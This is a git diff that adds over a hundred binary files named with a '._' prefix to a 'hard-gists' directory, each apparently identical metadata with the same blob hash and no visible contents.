diff --git a/hard-gists/._c781881856b30cacef36 b/hard-gists/._c781881856b30cacef36
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._c781881856b30cacef36 differ
diff --git a/hard-gists/._c7a2333c227e24226808 b/hard-gists/._c7a2333c227e24226808
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._c7a2333c227e24226808 differ
diff --git a/hard-gists/._c7a37230842f82fc51eaecf855fbf7ab b/hard-gists/._c7a37230842f82fc51eaecf855fbf7ab
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._c7a37230842f82fc51eaecf855fbf7ab differ
diff --git a/hard-gists/._c7dd1262bd81a32663f0 b/hard-gists/._c7dd1262bd81a32663f0
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._c7dd1262bd81a32663f0 differ
diff --git a/hard-gists/._c7e9a91256c9c5db1676aa3c240531cf b/hard-gists/._c7e9a91256c9c5db1676aa3c240531cf
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._c7e9a91256c9c5db1676aa3c240531cf differ
diff --git a/hard-gists/._c7ec9a30052127c7a1ad169eeb83f159 b/hard-gists/._c7ec9a30052127c7a1ad169eeb83f159
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._c7ec9a30052127c7a1ad169eeb83f159 differ
diff --git a/hard-gists/._c80e24454ee353d3c123 b/hard-gists/._c80e24454ee353d3c123
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._c80e24454ee353d3c123 differ
diff --git a/hard-gists/._c84643e4d13818fc5a35a8de888126bb b/hard-gists/._c84643e4d13818fc5a35a8de888126bb
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._c84643e4d13818fc5a35a8de888126bb differ
diff --git a/hard-gists/._c87011a445135417c114960bbc187618 b/hard-gists/._c87011a445135417c114960bbc187618
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._c87011a445135417c114960bbc187618 differ
diff --git a/hard-gists/._c87cc706625b8a54e604fb1024106556 b/hard-gists/._c87cc706625b8a54e604fb1024106556
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._c87cc706625b8a54e604fb1024106556 differ
diff --git a/hard-gists/._c8a451502958fa367d84bf038081ee4b b/hard-gists/._c8a451502958fa367d84bf038081ee4b
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._c8a451502958fa367d84bf038081ee4b differ
diff --git a/hard-gists/._c8b3fb31c1552ecbaafb b/hard-gists/._c8b3fb31c1552ecbaafb
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._c8b3fb31c1552ecbaafb differ
diff --git a/hard-gists/._c8d1caabaf7b43317bc8825c226045d2 b/hard-gists/._c8d1caabaf7b43317bc8825c226045d2
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._c8d1caabaf7b43317bc8825c226045d2 differ
diff --git a/hard-gists/._c8e62ef8cb9515d64df4 b/hard-gists/._c8e62ef8cb9515d64df4
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._c8e62ef8cb9515d64df4 differ
diff --git a/hard-gists/._c8eb9d0938584a277f90 b/hard-gists/._c8eb9d0938584a277f90
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._c8eb9d0938584a277f90 differ
diff --git a/hard-gists/._c91859ed22e4dda11d36 b/hard-gists/._c91859ed22e4dda11d36
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._c91859ed22e4dda11d36 differ
diff --git a/hard-gists/._c92066d9d38b236a21d5a7b729a10f12 b/hard-gists/._c92066d9d38b236a21d5a7b729a10f12
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._c92066d9d38b236a21d5a7b729a10f12 differ
diff --git a/hard-gists/._c9248a239bbab0e0d42e b/hard-gists/._c9248a239bbab0e0d42e
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._c9248a239bbab0e0d42e differ
diff --git a/hard-gists/._c943835a9742f5021eeb b/hard-gists/._c943835a9742f5021eeb
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._c943835a9742f5021eeb differ
diff --git a/hard-gists/._c9792757a9fc02d01408bf30855d412f b/hard-gists/._c9792757a9fc02d01408bf30855d412f
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._c9792757a9fc02d01408bf30855d412f differ
diff --git a/hard-gists/._c97fe158082000ae06ad624527433de6 b/hard-gists/._c97fe158082000ae06ad624527433de6
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._c97fe158082000ae06ad624527433de6 differ
diff --git a/hard-gists/._c9f42c81c53b276b6560 b/hard-gists/._c9f42c81c53b276b6560
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._c9f42c81c53b276b6560 differ
diff --git a/hard-gists/._ca6ed07e5c8017272701 b/hard-gists/._ca6ed07e5c8017272701
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._ca6ed07e5c8017272701 differ
diff --git a/hard-gists/._ca851e39229551208c0d b/hard-gists/._ca851e39229551208c0d
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._ca851e39229551208c0d differ
diff --git a/hard-gists/._ca8f71e38ad12ff157b34d5425d50ec7 b/hard-gists/._ca8f71e38ad12ff157b34d5425d50ec7
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._ca8f71e38ad12ff157b34d5425d50ec7 differ
diff --git a/hard-gists/._ca92b42f1f796763e5d1f8cd73247a30 b/hard-gists/._ca92b42f1f796763e5d1f8cd73247a30
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._ca92b42f1f796763e5d1f8cd73247a30 differ
diff --git a/hard-gists/._caaf6087162f1c6361571ee489da260f b/hard-gists/._caaf6087162f1c6361571ee489da260f
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._caaf6087162f1c6361571ee489da260f differ
diff --git a/hard-gists/._cad6d3d223fc8d769227 b/hard-gists/._cad6d3d223fc8d769227
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._cad6d3d223fc8d769227 differ
diff --git a/hard-gists/._cadedd0dd0d4c966462b b/hard-gists/._cadedd0dd0d4c966462b
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._cadedd0dd0d4c966462b differ
diff --git a/hard-gists/._caeb0a6dc89d9e7ec48d b/hard-gists/._caeb0a6dc89d9e7ec48d
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._caeb0a6dc89d9e7ec48d differ
diff --git a/hard-gists/._cb0833a03a7d30c6d6e0 b/hard-gists/._cb0833a03a7d30c6d6e0
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._cb0833a03a7d30c6d6e0 differ
diff --git a/hard-gists/._cb2b90523c592abe7ae4 b/hard-gists/._cb2b90523c592abe7ae4
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._cb2b90523c592abe7ae4 differ
diff --git a/hard-gists/._cb5a28fa8d4db3fc1ba51894663c1aed b/hard-gists/._cb5a28fa8d4db3fc1ba51894663c1aed
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._cb5a28fa8d4db3fc1ba51894663c1aed differ
diff --git a/hard-gists/._cb5d8157a8fa5a4a046e b/hard-gists/._cb5d8157a8fa5a4a046e
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._cb5d8157a8fa5a4a046e differ
diff --git a/hard-gists/._cc0ac48d34860c5bb3f9112f4d9a0300 b/hard-gists/._cc0ac48d34860c5bb3f9112f4d9a0300
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._cc0ac48d34860c5bb3f9112f4d9a0300 differ
diff --git a/hard-gists/._cc3c187172ac848bd896ecb2b812dc51 b/hard-gists/._cc3c187172ac848bd896ecb2b812dc51
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._cc3c187172ac848bd896ecb2b812dc51 differ
diff --git a/hard-gists/._cc63e6aa9a88ea6e901f b/hard-gists/._cc63e6aa9a88ea6e901f
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._cc63e6aa9a88ea6e901f differ
diff --git a/hard-gists/._cc704ba2a96e4a319e9e b/hard-gists/._cc704ba2a96e4a319e9e
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._cc704ba2a96e4a319e9e differ
diff --git a/hard-gists/._cc8647960afeb2c15a6061d7ab7e594e b/hard-gists/._cc8647960afeb2c15a6061d7ab7e594e
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._cc8647960afeb2c15a6061d7ab7e594e differ
diff --git a/hard-gists/._cd045c3663f0fe2cd0e92d88a8ae2274 b/hard-gists/._cd045c3663f0fe2cd0e92d88a8ae2274
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._cd045c3663f0fe2cd0e92d88a8ae2274 differ
diff --git a/hard-gists/._cd19a20d2e712f61d2ea b/hard-gists/._cd19a20d2e712f61d2ea
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._cd19a20d2e712f61d2ea differ
diff --git a/hard-gists/._cd72af254e50e01ae763 b/hard-gists/._cd72af254e50e01ae763
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._cd72af254e50e01ae763 differ
diff --git a/hard-gists/._cd9a1a7c969c06eaae8b b/hard-gists/._cd9a1a7c969c06eaae8b
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._cd9a1a7c969c06eaae8b differ
diff --git a/hard-gists/._cdf79835a0e30a9cbdeaaf2eb4151077 b/hard-gists/._cdf79835a0e30a9cbdeaaf2eb4151077
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._cdf79835a0e30a9cbdeaaf2eb4151077 differ
diff --git a/hard-gists/._ce5ebb37390ab0ae56c9e6e80128fdc2 b/hard-gists/._ce5ebb37390ab0ae56c9e6e80128fdc2
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._ce5ebb37390ab0ae56c9e6e80128fdc2 differ
diff --git a/hard-gists/._ce648166902041fbc613 b/hard-gists/._ce648166902041fbc613
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._ce648166902041fbc613 differ
diff --git a/hard-gists/._cf2b4e56fe28835c3ceb b/hard-gists/._cf2b4e56fe28835c3ceb
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._cf2b4e56fe28835c3ceb differ
diff --git a/hard-gists/._cf4b324f8955bc56ce0ff9399d9fdea6 b/hard-gists/._cf4b324f8955bc56ce0ff9399d9fdea6
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._cf4b324f8955bc56ce0ff9399d9fdea6 differ
diff --git a/hard-gists/._cfaad5763fb7471aed85 b/hard-gists/._cfaad5763fb7471aed85
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._cfaad5763fb7471aed85 differ
diff --git a/hard-gists/._cfc9f059459cfefd1f61134b48291436 b/hard-gists/._cfc9f059459cfefd1f61134b48291436
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._cfc9f059459cfefd1f61134b48291436 differ
diff --git a/hard-gists/._d039e69e97afbf1b863b b/hard-gists/._d039e69e97afbf1b863b
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._d039e69e97afbf1b863b differ
diff --git a/hard-gists/._d03a49767c7c307be5ed b/hard-gists/._d03a49767c7c307be5ed
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._d03a49767c7c307be5ed differ
diff --git a/hard-gists/._d049a307a271052dc740 b/hard-gists/._d049a307a271052dc740
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._d049a307a271052dc740 differ
diff --git a/hard-gists/._d0bb1f94cda69a5e7c96d1742cc5adca b/hard-gists/._d0bb1f94cda69a5e7c96d1742cc5adca
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._d0bb1f94cda69a5e7c96d1742cc5adca differ
diff --git a/hard-gists/._d100a028027c5a6b8340 b/hard-gists/._d100a028027c5a6b8340
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._d100a028027c5a6b8340 differ
diff --git a/hard-gists/._d11c77c5565482e965d1919291044470 b/hard-gists/._d11c77c5565482e965d1919291044470
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._d11c77c5565482e965d1919291044470 differ
diff --git a/hard-gists/._d1351610477840bbbb72 b/hard-gists/._d1351610477840bbbb72
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._d1351610477840bbbb72 differ
diff --git a/hard-gists/._d1426ffad93b786e035e b/hard-gists/._d1426ffad93b786e035e
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._d1426ffad93b786e035e differ
diff --git a/hard-gists/._d14e424540faedb3ea88 b/hard-gists/._d14e424540faedb3ea88
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._d14e424540faedb3ea88 differ
diff --git a/hard-gists/._d1899f011ae41b26fb6e b/hard-gists/._d1899f011ae41b26fb6e
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._d1899f011ae41b26fb6e differ
diff --git a/hard-gists/._d1af2b73d38fbceee5c848fc9cf641ce b/hard-gists/._d1af2b73d38fbceee5c848fc9cf641ce
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._d1af2b73d38fbceee5c848fc9cf641ce differ
diff --git a/hard-gists/._d29d079100f8d81b905e b/hard-gists/._d29d079100f8d81b905e
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._d29d079100f8d81b905e differ
diff --git a/hard-gists/._d2c38170d4beceeb32dc b/hard-gists/._d2c38170d4beceeb32dc
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._d2c38170d4beceeb32dc differ
diff --git a/hard-gists/._d37ab1524a7d5e373ee5a2a0176ebd22 b/hard-gists/._d37ab1524a7d5e373ee5a2a0176ebd22
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._d37ab1524a7d5e373ee5a2a0176ebd22 differ
diff --git a/hard-gists/._d3bf8d7a1867aed16d30 b/hard-gists/._d3bf8d7a1867aed16d30
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._d3bf8d7a1867aed16d30 differ
diff --git a/hard-gists/._d3d4123985ffea996781 b/hard-gists/._d3d4123985ffea996781
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._d3d4123985ffea996781 differ
diff --git a/hard-gists/._d4175526801c6e7bddee b/hard-gists/._d4175526801c6e7bddee
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._d4175526801c6e7bddee differ
diff --git a/hard-gists/._d44132ae3bdcc0ca96a9f9f84d6d3463 b/hard-gists/._d44132ae3bdcc0ca96a9f9f84d6d3463
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._d44132ae3bdcc0ca96a9f9f84d6d3463 differ
diff --git a/hard-gists/._d44fde5d323473ce8be7 b/hard-gists/._d44fde5d323473ce8be7
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._d44fde5d323473ce8be7 differ
diff --git a/hard-gists/._d45259ce3f8e4c226846d2f31bf719f5 b/hard-gists/._d45259ce3f8e4c226846d2f31bf719f5
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._d45259ce3f8e4c226846d2f31bf719f5 differ
diff --git a/hard-gists/._d49f6fd44b9e690a6ac5 b/hard-gists/._d49f6fd44b9e690a6ac5
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._d49f6fd44b9e690a6ac5 differ
diff --git a/hard-gists/._d4d90bc5b8fb9a56fa2d4f2383a2eda7 b/hard-gists/._d4d90bc5b8fb9a56fa2d4f2383a2eda7
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._d4d90bc5b8fb9a56fa2d4f2383a2eda7 differ
diff --git a/hard-gists/._d4fc31bc09e8b0756569a416aede330b b/hard-gists/._d4fc31bc09e8b0756569a416aede330b
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._d4fc31bc09e8b0756569a416aede330b differ
diff --git a/hard-gists/._d4ffebb452fe738b8aaa8005fc08a068 b/hard-gists/._d4ffebb452fe738b8aaa8005fc08a068
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._d4ffebb452fe738b8aaa8005fc08a068 differ
diff --git a/hard-gists/._d52d9ba44541fabaf4b012f4e62d675b b/hard-gists/._d52d9ba44541fabaf4b012f4e62d675b
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._d52d9ba44541fabaf4b012f4e62d675b differ
diff --git a/hard-gists/._d592394c0cedd32513f8fbb87ca05938 b/hard-gists/._d592394c0cedd32513f8fbb87ca05938
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._d592394c0cedd32513f8fbb87ca05938 differ
diff --git a/hard-gists/._d5da6f4b29a844a5865a b/hard-gists/._d5da6f4b29a844a5865a
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._d5da6f4b29a844a5865a differ
diff --git a/hard-gists/._d64234a093e223e319d2d7a104d4b85e b/hard-gists/._d64234a093e223e319d2d7a104d4b85e
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._d64234a093e223e319d2d7a104d4b85e differ
diff --git a/hard-gists/._d6428881f451097f329e b/hard-gists/._d6428881f451097f329e
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._d6428881f451097f329e differ
diff --git a/hard-gists/._d68467b87bc50e04c41e b/hard-gists/._d68467b87bc50e04c41e
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._d68467b87bc50e04c41e differ
diff --git a/hard-gists/._d692487c9ed35938da376f3b58d91206 b/hard-gists/._d692487c9ed35938da376f3b58d91206
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._d692487c9ed35938da376f3b58d91206 differ
diff --git a/hard-gists/._d6aa922505c4e5f21f2f b/hard-gists/._d6aa922505c4e5f21f2f
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._d6aa922505c4e5f21f2f differ
diff --git a/hard-gists/._d6cd0fb8c85e1547c3c60f95f5b2d5e1 b/hard-gists/._d6cd0fb8c85e1547c3c60f95f5b2d5e1
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._d6cd0fb8c85e1547c3c60f95f5b2d5e1 differ
diff --git a/hard-gists/._d6cdb809115ecf46d5fea5a458c4dada b/hard-gists/._d6cdb809115ecf46d5fea5a458c4dada
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._d6cdb809115ecf46d5fea5a458c4dada differ
diff --git a/hard-gists/._d6eb474543c32eb33504 b/hard-gists/._d6eb474543c32eb33504
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._d6eb474543c32eb33504 differ
diff --git a/hard-gists/._d710f2751428975448a4 b/hard-gists/._d710f2751428975448a4
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._d710f2751428975448a4 differ
diff --git a/hard-gists/._d76eb4f4eea0320bb35dcd1b2a4575ee b/hard-gists/._d76eb4f4eea0320bb35dcd1b2a4575ee
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._d76eb4f4eea0320bb35dcd1b2a4575ee differ
diff --git a/hard-gists/._d85b17e6e13fd8dcad7cf51d1c6b3a1c b/hard-gists/._d85b17e6e13fd8dcad7cf51d1c6b3a1c
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._d85b17e6e13fd8dcad7cf51d1c6b3a1c differ
diff --git a/hard-gists/._d883c3fe1402c7ced6fc b/hard-gists/._d883c3fe1402c7ced6fc
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._d883c3fe1402c7ced6fc differ
diff --git a/hard-gists/._d887f01c563a60554360bb5ae07cd1b0 b/hard-gists/._d887f01c563a60554360bb5ae07cd1b0
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._d887f01c563a60554360bb5ae07cd1b0 differ
diff --git a/hard-gists/._d8e8d65d0418886c47d0 b/hard-gists/._d8e8d65d0418886c47d0
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._d8e8d65d0418886c47d0 differ
diff --git a/hard-gists/._d91a0983140acbb8bc6455f58cbf45cb b/hard-gists/._d91a0983140acbb8bc6455f58cbf45cb
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._d91a0983140acbb8bc6455f58cbf45cb differ
diff --git a/hard-gists/._d97eb37da84ce7329de6 b/hard-gists/._d97eb37da84ce7329de6
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._d97eb37da84ce7329de6 differ
diff --git a/hard-gists/._d9ef555fb7ef5498c709 b/hard-gists/._d9ef555fb7ef5498c709
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._d9ef555fb7ef5498c709 differ
diff --git a/hard-gists/._da0ebd94c1c1fcf7ef6f3cd3f1f6fb9c b/hard-gists/._da0ebd94c1c1fcf7ef6f3cd3f1f6fb9c
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._da0ebd94c1c1fcf7ef6f3cd3f1f6fb9c differ
diff --git a/hard-gists/._da582d745fa2bf0ddd8f5f7480042291 b/hard-gists/._da582d745fa2bf0ddd8f5f7480042291
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._da582d745fa2bf0ddd8f5f7480042291 differ
diff --git a/hard-gists/._da673e7cd79d0b6899b9bd6a68c860d0 b/hard-gists/._da673e7cd79d0b6899b9bd6a68c860d0
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._da673e7cd79d0b6899b9bd6a68c860d0 differ
diff --git a/hard-gists/._da6c11fad0fc1966aa057e62bacccb2d b/hard-gists/._da6c11fad0fc1966aa057e62bacccb2d
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._da6c11fad0fc1966aa057e62bacccb2d differ
diff --git a/hard-gists/._daef0b34ec5af6f026af52d593131c64 b/hard-gists/._daef0b34ec5af6f026af52d593131c64
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._daef0b34ec5af6f026af52d593131c64 differ
diff --git a/hard-gists/._db030013e981c46acb2886060dde607e b/hard-gists/._db030013e981c46acb2886060dde607e
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._db030013e981c46acb2886060dde607e differ
diff --git a/hard-gists/._db051ab5105c5af5401aa5ef8739ada9 b/hard-gists/._db051ab5105c5af5401aa5ef8739ada9
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._db051ab5105c5af5401aa5ef8739ada9 differ
diff --git a/hard-gists/._db5ec4ce7c1dbaae4707 b/hard-gists/._db5ec4ce7c1dbaae4707
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._db5ec4ce7c1dbaae4707 differ
diff --git a/hard-gists/._db709c8c1279348e0638 b/hard-gists/._db709c8c1279348e0638
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._db709c8c1279348e0638 differ
diff --git a/hard-gists/._db7b6db7035dd48e5902 b/hard-gists/._db7b6db7035dd48e5902
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._db7b6db7035dd48e5902 differ
diff --git a/hard-gists/._db972e738cfacdf8055f b/hard-gists/._db972e738cfacdf8055f
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._db972e738cfacdf8055f differ
diff --git a/hard-gists/._dbb593a597acb2c0b93b b/hard-gists/._dbb593a597acb2c0b93b
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._dbb593a597acb2c0b93b differ
diff --git a/hard-gists/._dbec2584e7508cbfc79e b/hard-gists/._dbec2584e7508cbfc79e
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._dbec2584e7508cbfc79e differ
diff --git a/hard-gists/._dc176cdb29efd826e8c748e7f96933f0 b/hard-gists/._dc176cdb29efd826e8c748e7f96933f0
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._dc176cdb29efd826e8c748e7f96933f0 differ
diff --git a/hard-gists/._dc3257b6a44da3d8fd05 b/hard-gists/._dc3257b6a44da3d8fd05
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._dc3257b6a44da3d8fd05 differ
diff --git a/hard-gists/._dc36e180d1888629cf33 b/hard-gists/._dc36e180d1888629cf33
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._dc36e180d1888629cf33 differ
diff --git a/hard-gists/._dc61c42aa4e89e139cd8248f59af6b3e b/hard-gists/._dc61c42aa4e89e139cd8248f59af6b3e
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._dc61c42aa4e89e139cd8248f59af6b3e differ
diff --git a/hard-gists/._dc673da0c531c7a6059b b/hard-gists/._dc673da0c531c7a6059b
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._dc673da0c531c7a6059b differ
diff --git a/hard-gists/._dccc1c4fdcf1c7a31757168b19c827a7 b/hard-gists/._dccc1c4fdcf1c7a31757168b19c827a7
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._dccc1c4fdcf1c7a31757168b19c827a7 differ
diff --git a/hard-gists/._dd1538665994b48972a62966b4369354 b/hard-gists/._dd1538665994b48972a62966b4369354
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._dd1538665994b48972a62966b4369354 differ
diff --git a/hard-gists/._dde829f94a8f83bfa922090102449fde b/hard-gists/._dde829f94a8f83bfa922090102449fde
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._dde829f94a8f83bfa922090102449fde differ
diff --git a/hard-gists/._ddf6aaa6b3d37f602fedfd38c9af9d49 b/hard-gists/._ddf6aaa6b3d37f602fedfd38c9af9d49
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._ddf6aaa6b3d37f602fedfd38c9af9d49 differ
diff --git a/hard-gists/._de1383080e9f8fb7d208 b/hard-gists/._de1383080e9f8fb7d208
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._de1383080e9f8fb7d208 differ
diff --git a/hard-gists/._de1726bfc7330b2c9b2a b/hard-gists/._de1726bfc7330b2c9b2a
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._de1726bfc7330b2c9b2a differ
diff --git a/hard-gists/._de22705b5f7ef778806b b/hard-gists/._de22705b5f7ef778806b
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._de22705b5f7ef778806b differ
diff --git a/hard-gists/._de261e66949009f44ad2 b/hard-gists/._de261e66949009f44ad2
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._de261e66949009f44ad2 differ
diff --git a/hard-gists/._de3ab9cb8bb4b7719571 b/hard-gists/._de3ab9cb8bb4b7719571
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._de3ab9cb8bb4b7719571 differ
diff --git a/hard-gists/._de546cb143ebae4a489a482a05ab4beb b/hard-gists/._de546cb143ebae4a489a482a05ab4beb
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._de546cb143ebae4a489a482a05ab4beb differ
diff --git a/hard-gists/._dedc857cdc0e680dfb1be99762990c9c b/hard-gists/._dedc857cdc0e680dfb1be99762990c9c
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._dedc857cdc0e680dfb1be99762990c9c differ
diff --git a/hard-gists/._df0b30453338946e639449710862822d b/hard-gists/._df0b30453338946e639449710862822d
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._df0b30453338946e639449710862822d differ
diff --git a/hard-gists/._df47cd6aea9eeac153ff b/hard-gists/._df47cd6aea9eeac153ff
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._df47cd6aea9eeac153ff differ
diff --git a/hard-gists/._df919538bcef391bc89f b/hard-gists/._df919538bcef391bc89f
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._df919538bcef391bc89f differ
diff --git a/hard-gists/._df9ad5ef01d16c02d68d9a8c17c75b73 b/hard-gists/._df9ad5ef01d16c02d68d9a8c17c75b73
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._df9ad5ef01d16c02d68d9a8c17c75b73 differ
diff --git a/hard-gists/._dfca335e370a2bc3bc79876e6270099e b/hard-gists/._dfca335e370a2bc3bc79876e6270099e
new file mode 100644
index 00000000..cd8af967
